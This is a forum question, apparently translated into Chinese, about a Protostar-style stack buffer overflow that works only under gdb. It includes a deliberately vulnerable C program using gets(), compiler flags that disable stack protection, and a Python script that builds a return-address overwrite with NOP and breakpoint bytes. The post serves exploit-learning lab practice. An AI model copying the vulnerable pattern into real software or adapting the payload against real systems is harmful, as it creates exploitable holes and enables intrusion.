Shellcode无法正常工作(来自protostar)

时间:2018-05-02 21:18:06

标签: gdb reverse-engineering shellcode

大家好我想在protostar中创建类似Stack5的类似文件 唯一的问题是,当我执行shellcode时,或只是\ xCC它只能在gdb中运行。

源代码

#include<stdlib.h>
#include<unistd.h>
#include<stdio.h>
#include<string.h>

int main(int argc, char ** argv)
{
  char container[32];
  gets(container);
} 

用于构建可执行文件的命令

gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32  -g binary1.c -o binary1

例如\ x90中断

import struct
pad="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
eip=struct.pack("I",0xffffd6a0+4) 
payload="\x90"*12+"\xCC"*4+"\x90"*12
print pad+eip+payload

我得到的所有结果都只是分段错误(转储)

图片展示 Image for comparison

0 个答案:

没有答案